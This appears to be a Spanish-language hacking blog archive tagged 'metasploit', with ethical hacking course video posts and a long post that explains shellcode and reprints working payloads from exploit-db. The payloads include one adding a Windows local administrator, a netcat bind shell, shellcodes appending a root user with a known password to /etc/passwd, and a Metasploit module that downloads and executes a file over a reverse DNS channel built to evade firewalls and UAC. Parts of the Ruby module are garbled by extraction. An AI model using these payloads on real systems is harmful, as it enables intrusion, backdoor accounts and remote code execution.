Practicamos la ejecución de los servicios DHCP y DNS para la manipulación de trafico y DNS, como adicional clonamos un sitio web para probar el remplazo de una petición DNS a nuestra web clonada y así capturar las credenciales
Mostrando las entradas con la etiqueta metasploit. Mostrar todas las entradas
Mostrando las entradas con la etiqueta metasploit. Mostrar todas las entradas
8/1/21
11/11/20
Metasploit Exploits y Payloads | Curso de Ethical Hacking, Seguridad Ofensiva y Pentesting
Aprenderemos un poco de como seleccionar un exploit para realizar una prueba de concepto de explotacion y posteriormente seleccionar diferentes payloads para sus ejecuciones.
Sígueme en:
https://www.instagram.com/zerialkill/
https://twitter.com/zerialkiller
https://www.facebook.com/ZerialKiller
http://zerialkiller.blogspot.com/
https://www.youtube.com/zerialkiller
https://www.linkedin.com/in/antonio-gurza-72124920/
Material Curso
Material Visual PDF https://drive.google.com/file/d/1ptJda5T206Hi7RW2r7hHgcM9P3AK98LY/view?usp=sharing
Virtual Box: https://www.virtualbox.org/wiki/Downloads
Kali gnu/Linux: https://www.kali.org/downloads/
Gnu/Linux Vulnerable Metasploitable:
https://sourceforge.net/projects/metasploitable/files/Metasploitable2/
https://drive.google.com/open?id=16XjMyVK4VC5Qgp61uHwLB9L_HqkowqmK
Windows7: https://drive.google.com/open?id=1mjPr5JhBCBXefSeVAPH5v7pKT4hhMEWS
Windows10: https://drive.google.com/file/d/1ugF536n8I3GrUXJOza716Scaj3xB7zMg/view?usp=sharing
MacOSX High Sierra: https://drive.google.com/file/d/1wcgHq3BxK0bqnLP_ejYbjnwrAz_Xy2MY/view?usp=sharing
3/11/20
Primer Explotacion con Metasploit | Curso de Ethical Hacking, Seguridad ...
Sígueme en:
https://www.instagram.com/zerialkill/
https://twitter.com/zerialkiller
https://www.facebook.com/ZerialKiller
http://zerialkiller.blogspot.com/
https://www.youtube.com/zerialkiller
https://www.linkedin.com/in/antonio-gurza-72124920/
Material Curso
Material Visual PDF https://drive.google.com/file/d/1ptJda5T206Hi7RW2r7hHgcM9P3AK98LY/view?usp=sharing
Virtual Box: https://www.virtualbox.org/wiki/Downloads
Kali gnu/Linux: https://www.kali.org/downloads/
Gnu/Linux Vulnerable Metasploitable:
https://sourceforge.net/projects/metasploitable/files/Metasploitable2/
https://drive.google.com/open?id=16XjMyVK4VC5Qgp61uHwLB9L_HqkowqmK
Windows7: https://drive.google.com/open?id=1mjPr5JhBCBXefSeVAPH5v7pKT4hhMEWS
Windows10: https://drive.google.com/file/d/1ugF536n8I3GrUXJOza716Scaj3xB7zMg/view?usp=sharing
MacOSX High Sierra: https://drive.google.com/file/d/1wcgHq3BxK0bqnLP_ejYbjnwrAz_Xy2MY/view?usp=sharing
Introduccion a Metasploit | Curso de Ethical Hacking, Seguridad Ofensiva...
Sígueme en:
https://www.instagram.com/zerialkill/
https://twitter.com/zerialkiller
https://www.facebook.com/ZerialKiller
http://zerialkiller.blogspot.com/
https://www.youtube.com/zerialkiller
https://www.linkedin.com/in/antonio-gurza-72124920/
Material Curso
Material Visual PDF https://drive.google.com/file/d/1ptJda5T206Hi7RW2r7hHgcM9P3AK98LY/view?usp=sharing
Virtual Box: https://www.virtualbox.org/wiki/Downloads
Kali gnu/Linux: https://www.kali.org/downloads/
Gnu/Linux Vulnerable Metasploitable:
https://sourceforge.net/projects/metasploitable/files/Metasploitable2/
https://drive.google.com/open?id=16XjMyVK4VC5Qgp61uHwLB9L_HqkowqmK
Windows7: https://drive.google.com/open?id=1mjPr5JhBCBXefSeVAPH5v7pKT4hhMEWS
Windows10: https://drive.google.com/file/d/1ugF536n8I3GrUXJOza716Scaj3xB7zMg/view?usp=sharing
MacOSX High Sierra: https://drive.google.com/file/d/1wcgHq3BxK0bqnLP_ejYbjnwrAz_Xy2MY/view?usp=sharing
Etiquetas:
introduccion a metasploit,
metasploit,
que es metasploit
17/9/12
Shellcodes
WIKI: http://es.wikipedia.org/wiki/Shellcode
Una shellcode es un conjunto de órdenes programadas generalmente en lenguaje ensamblador y trasladadas a opcodes que suelen ser inyectadas en la pila (o stack) de ejecución de un programa para conseguir que la máquina en la que reside se ejecute la operación que se haya programado.
El término shellcode deriva de su propósito general, esto era una porción de un exploit utilizada para obtener una shell. Este es actualmente el propósito más común con que se utilizan.
Para crear una shellcode generalmente suele utilizarse un lenguaje de más alto nivel, como es el caso del lenguaje C, para luego, al ser compilado, generar el código de máquina correspondiente, que es denominado opcode.
Un ejemplo de una shellcode escrita en C:
#include
int main() {
char *scode[2];
scode[0] = "/bin/sh";
scode[1] = NULL;
execve (scode[0], scode, NULL);
}
Esta shellcode, que ejecuta la shell /bin/sh, se vale de la llamada al sistema execve para realizar la ejecución de la shell contenida dentro del array scode. Si analizamos esto en lenguaje ensamblador el funcionamiento es simple: la llamada al sistema específica es cargada detro del registro EAX, los argumentos de la llamada al sistema son puestos en otros registros, se ejecuta la instrucción int 0x80 (que producirá la llamada al sistema) para la creación del proceso (pueder hacerse tanto con fork() como con system()), la CPU cambiará ahora al kernel mode (supervisor - ring 0), y la llamada al sistema será ejecutada para así devolver, en este caso, una shell /bin/sh. Si compilamos y ejecutamos esto, obtendremos:
$: gcc -static scode.c -o scode
$: ./scode
sh-3.2$
Para obtener el código máquina se desensambla el archivo ya compilado (binario). Pueden utilizarse diversas aplicaciones para esta tarea, entre ellas una de las más populares para sistemas del tipo Unix, es objdump.
$: objdump -d scode
080483a4
80483a4: 55 push %ebp
80483a5: 89 e5 mov %esp,%ebp
80483a7: 83 e4 f0 and $0xfffffff0,%esp
80483aa: 83 ec 20 sub $0x20,%esp
80483ad: c7 44 24 18 a0 84 04 movl $0x80484a0,0x18(%esp)
80483b4: 08
80483b5: c7 44 24 1c 00 00 00 movl $0x0,0x1c(%esp)
80483bc: 00
80483bd: 8b 44 24 18 mov 0x18(%esp),%eax
80483c1: c7 44 24 08 00 00 00 movl $0x0,0x8(%esp)
80483c8: 00
80483c9: 8d 54 24 18 lea 0x18(%esp),%edx
80483cd: 89 54 24 04 mov %edx,0x4(%esp)
80483d1: 89 04 24 mov %eax,(%esp)
80483d4: e8 ff fe ff ff call 80482d8
80483d9: c9 leave
80483da: c3 ret
80483db: 90 nop
En el siguiente ejemplo se muestra una shellcode contenida en un array de un programa escrito en lenguaje C:
char shellcode[]=
"\x31\xc0" /* xorl %eax,%eax */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x31\xc9" /* xorl %ecx,%ecx */
"\xb0\x46" /* movl $0x46,%al */
"\xcd\x80" /* int $0x80 */
"\x50" /* pushl %eax */
"\x68""/ash" /* pushl $0x6873612f */
"\x68""/bin" /* pushl $0x6e69622f */
"\x89\xe3" /* movl %esp,%ebx */
"\x50" /* pushl %eax */
"\x53" /* pushl %ebx */
"\x89\xe1" /* movl %esp,%ecx */
"\xb0\x0b" /* movb $0x0b,%al */
"\xcd\x80" /* int $0x80 */
;
Así tenemos que una shellcode es código máquina escrito en notación hexadecimal. Posteriormente se utilizan dentro de programas escritos en C, como en el siguiente shellcode de ejemplo:
// shellcode.c
// compilar con gcc shellcode.c -o shellcode
void main()
{
((void(*)(void))
{
"\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9"
"\xb0\x04\xb3\x01\x59\xb2\x21\xcd\x80\x31"
"\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe2\xff"
"\xff\xff\x76\x69\x73\x69\x74\x61\x20\x68"
"\x74\x74\x70\x3a\x2f\x2f\x68\x65\x69\x6e"
"\x7a\x2e\x68\x65\x72\x6c\x69\x74\x7a\x2e"
"\x63\x6c\x20\x3d\x29"
}
)();
}
Las shellcodes deben ser cortas para poder ser inyectadas dentro de la pila, que generalmente suele ser un espacio reducido.
Las shellcodes se utilizan para ejecutar código aprovechando ciertas vulnerabilidades en el código llamadas desbordamiento de búfer. Principalmente el shellcode se programa para permitir ejecutar un intérprete de comandos en el equipo afectado.
Es común que en la compilación de una shellcode se produzcan bytes nulos, los cuales deben ser eliminados de la misma, ya que frenarían la ejecución de la shellcode. Para ello el programador se vale de diversas técnicas, como remplazar las instrucciones que genera bytes NULL por otras que no lo hagan o realizar una operación XOR, mover hacia registros más pequeños (como AH, AL), y de esta forma permitir que la shellcode sea realmente inyectable.
-------------------------------------------------------------------------------------
Ahora Comprato unos Shellcodes muy interesantes =)
http://www.exploit-db.com/exploits/15202/
win32/xp pro sp3 (EN) 32-bit - add new local administrator 113 bytes
/*
Title: win32/xp pro sp3 (EN) 32-bit - add new local administrator 113 bytes
Author: Anastasios Monachos (secuid0) - anastasiosm[at]gmail[dot]com
Method: Hardcoded opcodes (kernel32.winexec@7c8623ad, kernel32.exitprocess@7c81cafa)
Tested on: WinXP Pro SP3 (EN) 32bit - Build 2600.080413-2111
Greetz: offsec and inj3ct0r teams
*/
#include
#include
#include
char code[] = "\xeb\x16\x5b\x31\xc0\x50\x53\xbb\xad\x23"
"\x86\x7c\xff\xd3\x31\xc0\x50\xbb\xfa\xca"
"\x81\x7c\xff\xd3\xe8\xe5\xff\xff\xff\x63"
"\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20"
"\x6e\x65\x74\x20\x75\x73\x65\x72\x20\x73"
"\x65\x63\x75\x69\x64\x30\x20\x6d\x30\x6e"
"\x6b\x20\x2f\x61\x64\x64\x20\x26\x26\x20"
"\x6e\x65\x74\x20\x6c\x6f\x63\x61\x6c\x67"
"\x72\x6f\x75\x70\x20\x61\x64\x6d\x69\x6e"
"\x69\x73\x74\x72\x61\x74\x6f\x72\x73\x20"
"\x73\x65\x63\x75\x69\x64\x30\x20\x2f\x61"
"\x64\x64\x00";
int main(int argc, char **argv)
{
((void (*)())code)();
printf("New local admin \tUsername: secuid0\n\t\t\tPassword: m0nk");
return 0;
}
-------------------------------------------------------------------------------------
http://www.exploit-db.com/exploits/17194/
Linux/x86 - netcat bindshell port 6666 - 69 bytes
/*
** Title: Linux/x86 - netcat bindshell port 6666 - 69 bytes
** Date: 2011-04-20
** Author: Jonathan Salwan
**
** http://shell-storm.org
** http://twitter.com/jonathansalwan
**
** /usr/bin/netcat -ltp6666 -e/bin/sh
**
** 8048054 <.text>:
** 8048054: 31 c0 xor %eax,%eax
** 8048056: 50 push %eax
** 8048057: 68 74 63 61 74 push $0x74616374
** 804805c: 68 6e 2f 6e 65 push $0x656e2f6e
** 8048061: 68 72 2f 62 69 push $0x69622f72
** 8048066: 68 2f 2f 75 73 push $0x73752f2f
** 804806b: 89 e3 mov %esp,%ebx
** 804806d: 50 push %eax
** 804806e: 68 36 36 36 36 push $0x36363636
** 8048073: 68 2d 6c 74 70 push $0x70746c2d
** 8048078: 89 e2 mov %esp,%edx
** 804807a: 50 push %eax
** 804807b: 68 6e 2f 73 68 push $0x68732f6e
** 8048080: 68 2f 2f 62 69 push $0x69622f2f
** 8048085: 66 68 2d 65 pushw $0x652d
** 8048089: 89 e1 mov %esp,%ecx
** 804808b: 50 push %eax
** 804808c: 51 push %ecx
** 804808d: 52 push %edx
** 804808e: 53 push %ebx
** 804808f: 89 e6 mov %esp,%esi
** 8048091: b0 0b mov $0xb,%al
** 8048093: 89 f1 mov %esi,%ecx
** 8048095: 31 d2 xor %edx,%edx
** 8048097: cd 80 int $0x80
**
*/
#include
#include
char SC[] = "\x31\xc0\x50\x68\x74\x63\x61\x74\x68\x6e\x2f"
"\x6e\x65\x68\x72\x2f\x62\x69\x68\x2f\x2f\x75"
"\x73\x89\xe3\x50\x68\x36\x36\x36\x36\x68\x2d"
"\x6c\x74\x70\x89\xe2\x50\x68\x6e\x2f\x73\x68"
"\x68\x2f\x2f\x62\x69\x66\x68\x2d\x65\x89\xe1"
"\x50\x51\x52\x53\x89\xe6\xb0\x0b\x89\xf1\x31"
"\xd2\xcd\x80";
/* SC polymorphic - XOR 19 - 93 bytes */
char SC_ENC[] = "\xeb\x11\x5e\x31\xc9\xb1\x45\x80\x74\x0e"
"\xff\x13\x80\xe9\x01\x75\xf6\xeb\x05\xe8"
"\xea\xff\xff\xff\x22\xd3\x43\x7b\x67\x70"
"\x72\x67\x7b\x7d\x3c\x7d\x76\x7b\x61\x3c"
"\x71\x7a\x7b\x3c\x3c\x66\x60\x9a\xf0\x43"
"\x7b\x25\x25\x25\x25\x7b\x3e\x7f\x67\x63"
"\x9a\xf1\x43\x7b\x7d\x3c\x60\x7b\x7b\x3c"
"\x3c\x71\x7a\x75\x7b\x3e\x76\x9a\xf2\x43"
"\x42\x41\x40\x9a\xf5\xa3\x18\x9a\xe2\x22"
"\xc1\xde\x93";
int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(SC));
(*(void(*)()) SC)();
return 0;
}
-------------------------------------------------------------------------------------
http://www.exploit-db.com/exploits/18585/
Linux x86_64 - add user with passwd (189 bytes)
;sc_adduser01.S
;Arch: x86_64, Linux
;
;Author: 0_o -- null_null
; nu11.nu11 [at] yahoo.com
;Date: 2012-03-05
;
;compile an executable: nasm -f elf64 sc_adduser.S
; ld -o sc_adduser sc_adduser.o
;compile an object: nasm -o sc_adduser_obj sc_adduser.S
;
;Purpose: adds user "t0r" with password "Winner" to /etc/passwd
;executed syscalls: setreuid, setregid, open, write, close, exit
;Result: t0r:3UgT5tXKUkUFg:0:0::/root:/bin/bash
;syscall op codes: /usr/include/x86_64-linux-gnu/asm/unistd_64.h
BITS 64
[SECTION .text]
global _start
_start:
;sys_setreuid(uint ruid, uint euid)
xor rax, rax
mov al, 113 ;syscall sys_setreuid
xor rbx, rbx ;arg 1 -- set real uid to root
mov rcx, rbx ;arg 2 -- set effective uid to root
syscall
;sys_setregid(uint rgid, uint egid)
xor rax, rax
mov al, 114 ;syscall sys_setregid
xor rbx, rbx ;arg 1 -- set real uid to root
mov rcx, rbx ;arg 2 -- set effective uid to root
syscall
;push all strings on the stack prior to file operations.
xor rbx, rbx
mov ebx, 0x647773FF
shr rbx, 8
push rbx ;string \00dws
mov rbx, 0x7361702f6374652f
push rbx ;string sap/cte/
mov rbx, 0x0A687361622F6EFF
shr rbx, 8
push rbx ;string \00\nhsab/n
mov rbx, 0x69622F3A746F6F72
push rbx ;string ib/:toor
mov rbx, 0x2F3A3A303A303A67
push rbx ;string /::0:0:g
mov rbx, 0x46556B554B587435
push rbx ;string FUkUKXt5
mov rbx, 0x546755333A723074
push rbx ;string TgU3:r0t
;prelude to doing anything useful...
mov rbx, rsp ;save stack pointer for later use
push rbp ;store base pointer to stack so it can be restored later
mov rbp, rsp ;set base pointer to current stack pointer
;sys_open(char* fname, int flags, int mode)
sub rsp, 16
mov [rbp - 16], rbx ;store pointer to "t0r..../bash"
mov si, 0x0401 ;arg 2 -- flags
mov rdi, rbx
add rdi, 40 ;arg 1 -- pointer to "/etc/passwd"
xor rax, rax
mov al, 2 ;syscall sys_open
syscall
;sys_write(uint fd, char* buf, uint size)
mov [rbp - 4], eax ;arg 1 -- fd is retval of sys_open. save fd to stack for later use.
mov rcx, rbx ;arg 2 -- load rcx with pointer to string "t0r.../bash"
xor rdx, rdx
mov dl, 39 ;arg 3 -- load rdx with size of string "t0r.../bash\00"
mov rsi, rcx ;arg 2 -- move to source index register
mov rdi, rax ;arg 1 -- move to destination index register
xor rax, rax
mov al, 1 ;syscall sys_write
syscall
;sys_close(uint fd)
xor rdi, rdi
mov edi, [rbp - 4] ;arg 1 -- load stored file descriptor to destination index register
xor rax, rax
mov al, 3 ;syscall sys_close
syscall
;sys_exit(int err_code)
xor rax, rax
mov al, 60 ;syscall sys_exit
xor rbx, rbx ;arg 1 -- error code
syscall
;char shellcode[] =
; "\x48\x31\xc0\xb0\x71\x48\x31\xdb\x48\x31\xc9\x0f\x05\x48\x31"
; "\xc0\xb0\x72\x48\x31\xdb\x48\x31\xc9\x0f\x05\x48\x31\xdb\xbb"
; "\xff\x73\x77\x64\x48\xc1\xeb\x08\x53\x48\xbb\x2f\x65\x74\x63"
; "\x2f\x70\x61\x73\x53\x48\xbb\xff\x6e\x2f\x62\x61\x73\x68\x0a"
; "\x48\xc1\xeb\x08\x53\x48\xbb\x72\x6f\x6f\x74\x3a\x2f\x62\x69"
; "\x53\x48\xbb\x67\x3a\x30\x3a\x30\x3a\x3a\x2f\x53\x48\xbb\x35"
; "\x74\x58\x4b\x55\x6b\x55\x46\x53\x48\xbb\x74\x30\x72\x3a\x33"
; "\x55\x67\x54\x53\x48\x89\xe3\x55\x48\x89\xe5\x48\x83\xec\x10"
; "\x48\x89\x5d\xf0\x66\xbe\x01\x04\x48\x89\xdf\x48\x83\xc7\x28"
; "\x48\x31\xc0\xb0\x02\x0f\x05\x89\x45\xfc\x48\x89\xd9\x48\x31"
; "\xd2\xb2\x27\x48\x89\xce\x48\x89\xc7\x48\x31\xc0\xb0\x01\x0f"
; "\x05\x48\x31\xff\x8b\x7d\xfc\x48\x31\xc0\xb0\x03\x0f\x05\x48"
; "\x31\xc0\xb0\x3c\x48\x31\xdb\x0f\x05";
;
;equivalent code:
;
;char shellcode[] =
; "\x48\x31\xc0\xb0\x71\x48\x31\xdb\x48\x89\xd9\x0f\x05\x48\x31"
; "\xc0\xb0\x72\x48\x31\xdb\x48\x89\xd9\x0f\x05\x48\x31\xdb\xbb"
; "\xff\x73\x77\x64\x48\xc1\xeb\x08\x53\x48\xbb\x2f\x65\x74\x63"
; "\x2f\x70\x61\x73\x53\x48\xbb\xff\x6e\x2f\x62\x61\x73\x68\x0a"
; "\x48\xc1\xeb\x08\x53\x48\xbb\x72\x6f\x6f\x74\x3a\x2f\x62\x69"
; "\x53\x48\xbb\x67\x3a\x30\x3a\x30\x3a\x3a\x2f\x53\x48\xbb\x35"
; "\x74\x58\x4b\x55\x6b\x55\x46\x53\x48\xbb\x74\x30\x72\x3a\x33"
; "\x55\x67\x54\x53\x48\x89\xe3\x55\x48\x89\xe5\x48\x83\xec\x10"
; "\x48\x89\x5d\xf0\x66\xbe\x01\x04\x48\x89\xdf\x48\x83\xc7\x28"
; "\x48\x31\xc0\xb0\x02\x0f\x05\x89\x45\xfc\x48\x89\xd9\x48\x31"
; "\xd2\xb2\x27\x48\x89\xce\x48\x89\xc7\x48\x31\xc0\xb0\x01\x0f"
; "\x05\x48\x31\xff\x8b\x7d\xfc\x48\x31\xc0\xb0\x03\x0f\x05\x48"
; "\x31\xc0\xb0\x3c\x48\x31\xdb\x0f\x05";
-------------------------------------------------------------------------------------
http://www.exploit-db.com/exploits/17439/
SuperH (sh4) Add root user with password
/*
** Title: Linux/SuperH - sh4 - add root user with password - 143 bytes
** Date: 2011-06-23
** Tested on: debian-sh4 2.6.32-5-sh7751r
** Author: Jonathan Salwan - twitter: @jonathansalwan
**
** http://shell-storm.org
**
** Informations:
** -------------
** - user: shell-storm
** - pswd: toor
** - uid : 0
**
** open:
** mov #5, r3
** mova @(130, pc), r0
** mov r0, r4
** mov #255, r13
** mov #4, r12
** mul.l r13, r12
** sts macl, r5
** add #69, r5
** mov #84, r13
** mov #5, r12
** mul.l r13, r12
** sts macl, r6
** trapa #2
** mov r0, r11
**
** write:
** xor r6, r6
** xor r5, r5
** mov #4, r3
** mov r11, r4
** mova @(20, pc), r0
** mov r0, r5
** mov #72, r6
** trapa #2
**
** close:
** mov #6, r3
** mov r11, r4
** trapa #2
**
** exit:
** mov #1, r3
** xor r4, r4
** trapa #2
**
** user:
** .string "shell-storm:$1$KQYl/yru$PMt02zUTWmMvPWcU4oQLs/:0:0:root:/root:/bin/bash\n"
**
** file:
** .string "@@@/etc/passwd"
**
**
** The '@@@' is just for alignment.
**
*/
#include
#include
char *SC =
/* open("/etc/passwd", O_WRONLY|O_CREAT|O_APPEND, 0644) = fd */
"\x05\xe3\x20\xc7\x03\x64\xff\xed"
"\x04\xec\xd7\x0c\x1a\x05\x45\x75"
"\x54\xed\x05\xec\xd7\x0c\x1a\x06"
"\x02\xc3"
/* r11 = fd */
"\x03\x6b"
/* write(fd, "shell-storm:$1$KQYl/yru$PMt02zUTW"..., 72) */
"\x6a\x26\x5a\x25\x04\xe3\xb3\x64"
"\x04\xc7\x03\x65\x48\xe6\x02\xc3"
/* close(fd) */
"\x06\xe3\xb3\x64\x02\xc3"
/* exit(0) */
"\x01\xe3\x4a\x24\x02\xc3"
/* shell-storm:$1$KQYl/yru$PMt02zUTWmMvPWcU4oQLs/:0:0:root:/root:/bin/bash\n */
"\x73\x68\x65\x6c\x6c\x2d\x73\x74"
"\x6f\x72\x6d\x3a\x24\x31\x24\x4b"
"\x51\x59\x6c\x2f\x79\x72\x75\x24"
"\x50\x4d\x74\x30\x32\x7a\x55\x54"
"\x57\x6d\x4d\x76\x50\x57\x63\x55"
"\x34\x6f\x51\x4c\x73\x2f\x3a\x30"
"\x3a\x30\x3a\x72\x6f\x6f\x74\x3a"
"\x2f\x72\x6f\x6f\x74\x3a\x2f\x62"
"\x69\x6e\x2f\x62\x61\x73\x68\x5c"
"\x6e"
/* @@@/etc/passwd */
"\x40\x40\x40\x2f\x65\x74\x63\x2f"
"\x70\x61\x73\x73\x77\x64";
int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(SC));
(*(void(*)()) SC)();
return 0;
}
-----------------------------------------------------------------------------------------------------------------------------
http://www.exploit-db.com/exploits/17326/
DNS Reverse Download and Exec Shellcode
http://www.exploit-db.com/exploits/17326/
DNS Reverse Download and Exec Shellcode
##
# Shellcode: download and execute file via reverse DNS channel
#
#
# Features:
# * Windows 7 tested
# * UAC without work (svchost.exe makes requests via getaddrinfo)
# * Firewall/Router/Nat/Proxy bypass reverse connection (like dnscat do, but without sockets and stable!)
# * NO SOCKET
#
# DNS handler - http://dsecrg.com/files/pub/tools/revdns.zip
#
#
# By Alexey Sintsov
# [DSecRG]
# a.sintsov [sobachka] dsecrg.com
# dookie [sobachka] inbox.ru
#
# P.S. Works with Vista/7/2008
# do not work in XP/2003 because thre are no IPv6 by default.
# can work in XP/2003 if IPv6 installed
# (it is not need to be enabled, just installed)
require 'msf/core'
module Metasploit3
include Msf::Payload::Windows
include Msf::Payload::Single
def initialize(info = {})
super(update_info(info,
'Name' => 'DNS_DOWNLOAD_EXEC',
'Version' => '0.01',
'Description' => 'Download and Exec (via DNS)',
'Author' => [ 'Alexey Sintsov' ],
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X86,
'Payload' =>
{
'Offsets' =>{ },
'Begin' => "\xeb\x02\xeb\x7A\xe8\xf9\xff\xff\xff\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\xFF\x47\x65\x74
\x54\x65\x6d\x70\x50\x61\x74\x68\x41\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x57\x69\x6E\x45\x78\x65\x63\xFF\x45\x78
\x69\x74\x54\x68\x72\x65\x61\x64\xff\x4C\x6F\x61\x64\x4C\x69\x62\x72\x61\x72\x79\x41\xFF\x77\x73\x32\x5f\x33
\x32\xFF\x57\x53\x41\x53\x74\x61\x72\x74\x75\x70\xFF\x67\x65\x74\x61\x64\x64\x72\x69\x6e\x66\x6f\xFF\x6d\x73
\x76\x63\x72\x74\xFF\x66\x6f\x70\x65\x6e\xFF\x66\x77\x72\x69\x74\x65\xFF\xEB\x13\x66\x63\x6c\x6f\x73\x65\xFF",
'Payload1' => "\xFF\x5e\x33\xc9\xb1\xe4\x8b\xd1\x2b\xe2\x8b\xfc\xf3\xa4\x33\xc0\x8b\xfc\x8A\x04\x39\x3A\xCA\x74\x0D\x3C\xFF
\x74\x03\x41\xEB\xF2\x88\x2C\x39\x41\xEB\xEC\xeb\x78\x31\xC9\x64\x8B\x71\x30\x8B\x76\x0C\x8B\x76\x1C\x8B\x5e
\x08\x8B\x7E\x20\x33\xed\x83\xc5\x18\x8B\x36\x66\x39\x0C\x2F\x75\xed\x8B\x73\x3C\x8B\x74\x1E\x78\x03\xF3\x8B
\x7E\x20\x03\xFB\x8B\x4E\x14\x33\xED\x56\x57\x51\x8B\x3F\x03\xFB\x8B\xF2\x6A\x0E\x59\xF3\xA6\x74\x08\x59\x5F
\x83\xC7\x04\x45\xE2\xE9\x59\x5F\x5E\x8B\xCD\x8B\x46\x24\x03\xC3\xD1\xE1\x03\xC1\x33\xC9\x66\x8B\x08\x8B\x46
\x1C\x03\xC3\xC1\xE1\x02\x03\xC8\x8B\x01\x03\xC3\x8B\xFA\x8B\xF7\x83\xC6\x0E\x8B\xD0\x6A\x04\x59\xC3\x8b\xd4
\xe8\x81\xff\xff\xff\x50\x33\xc0\xb0\x0f\x03\xf8\x57\x53\xff\xd2\x50\x33\xc0\xb0\x14\x03\xf8\x57\x53\xff\x54
\x24\x0c\x50\x33\xc0\xb0\x08\x03\xf8\x57\x53\xff\x54\x24\x10\x50\x33\xc0\xb0\x0b\x03\xf8\x57\x53\xff\x54\x24
\x14\x50\x8b\xc7\x83\xc0\x0d\x50\xff\x54\x24\x04\x8b\xd8\x33\xc0\xb0\x14\x03\xf8\x57\x53\xff\x54\x24\x18\x50
\x33\xc0\xb0\x0b\x03\xf8\x57\x53\xff\x54\x24\x1C\x50\x83\xc7\x0c\x57\xff\x54\x24\x0c\x8b\xd8\x83\xc7\x07\x57
\x53\xff\x54\x24\x20\x50\x83\xc7\x06\x57\x53\xff\x54\x24\x24\x50\x50\x8b\xf4\x83\xc7\x09\x57\x53\xff\x54\x24
\x2c\x50\x33\xc0\xb4\x03\x2b\xe0\x8b\xcc\x51\x50\xff\x56\x20\x03\xe0\x59\x59\x8b\xc8\xb8",
'Payload2' => "\xba\x01\x01\x01\x01\x2b\xc2\x50\xb8\x79\x78\x6f\x2e\x50\x2b\xe1\x8b\xcc\x33\xc0\xb0\x77\xb4\x62\x50\x54\x51\xff
\x56\x08\x33\xd2\xb6\x03\xb2\x0c\x03\xe2\x50\x33\xc0\xb4\x05\x2b\xe0\x54\x33\xc0\xb0\x02\xb4\x02\x50\xff\x56\x10
\x32\xc9\x50\x80\xf9\x80\x74\x04\xfe\xc1\xeb\xf6\x83\xc4\x10\xb0\x06\x50\xb0\x01\x50\xb0\x17\x50\x83\xec\x04\x8B
\xEC\x83\xC7\x07\x83\xEC\x20\x33\xC0\x8A\x0C\x38\x88\x0C\x04\x40\x84\xC9\x75\xF5\x33\xc0\xb9\x61\x61\x61\x61\x8b
\xd9\x51\x8b\xd4\x83\xc2\x7f\x52\x33\xd2\x55\x52\x8b\xd4\x83\xc2\x0c\x52\xff\x56\x0c\x59\x51\x85\xc0\x75\xe7\x33
\xDB\xB3\xee\x2B\xE3\x50\x8b\xc5\x8b\x40\x5b\x8b\x48\x18\x8b\x50\x1c\x83\xC1\x08\x33\xC0\x33\xFF\x66\x8B\x01\x66
\x3d\xff\xff\x74\x7f\x8b\xf8\xc1\xef\x08\x32\xe4\x5b\x03\xfb\x57\x66\x8B\x59\x02\x66\x89\x5c\x04\x04\x8B\x79\x04
\x89\x7C\x04\x06\x8B\x79\x08\x89\x7C\x04\x0A\x8B\x79\x0C\x89\x7C\x04\x0E\x8b\xc2\x85\xc0\x75\xbb\x58\xff\x76\xf8
\x50\xb0\x01\x50\x8b\xc4\x83\xc0\x0c\x50\xff\x56\x04\x33\xc0\xb0\xee\x03\xe0\x58\x58\x58\x58\x58\x2D\x61\x61\x61\x61
\xC0\xE4\x04\x02\xC4\x3C\xFF\x75\x13\x8A\xE0\x40\xc1\xe8\x10\x3c\x1a\x75\x04\xfe\xc4\x32\xc0\xc1\xe0\x10\xeb\x08\x40
\x8a\xe0\xC0\xEC\x04\x24\x0F\x05\x61\x61\x61\x61\x50\xe9\x46\xff\xff\xff\x8b\x46\xf8\x50\xff\x56\xfc\x66\xb8\x22\x05
\x03\xe0"+"\x68\x2f\x63\x20\x22\x68\x63\x6d\x64\x20\x8b\xcc\x41\x8a\x01\x84\xc0\x75\xf9\xc6\x01\x22\x88\x41\x01"+"\x33
\xc0\x8b\xcc\x50\x51\xff\x56\x1c\x50\xff\x56\x18"
}
))
# We use rtlExitThread(0)
deregister_options('EXITFUNC')
# Register the domain and cmd options
register_options(
[
OptString.new('DOMAIN', [ true, "The domain name to use (9 bytes - maximum)" ]),
OptString.new('FILE', [ true, "Filename extension (default VBS)" ]),
], self.class)
end
#
# Constructs the payload
#
def generate_stage
domain = datastore['DOMAIN'] || ''
extens = datastore['FILE'] || 'vbs'
# \"x66\x79\x66\x01"
extLen=extens.length
while extens.length<4 div="div">
extens=extens+"\x01"
end
i=0
while i
4>
extens[i,1]=(extens[i].ord+1).chr
i=i+1
end
while domain.length<10 div="div">
10>
domain=domain+"\xFF"
end
domain="\x2e"+domain
payload=module_info['Payload']['Begin'] + domain + module_info['Payload']['Payload1'] + extens + module_info['Payload']['Payload2']
return payload
end
end
10>
13/9/12
Reverse Shell Firefox Complemento malicioso XPI
En este Video Demuestro como obtener una shell inversa atacando Firefox construyendo un Complemento Malicioso.
http://www.youtube.com/watch?v=rD2yXIWP0aE&feature=youtu.be
http://www.youtube.com/watch?v=rD2yXIWP0aE&feature=youtu.be
Etiquetas:
firefox reverse shell,
metapsloit firefox,
metasploit,
reverse shell,
xpi malicioso
28/8/12
Java 7 Applet Remote Code Execution
Nueva
Vulnerabilidad 0 day JAVA (JRE 1.7x)
CVE-2012-4681 (UNDER REVIEW)
http://cve.mitre.org/cgi-bin/cvename.cgi?name=2012-4681
Código fuente ya se encuentra disponible
(http://pastie.org/4594319):
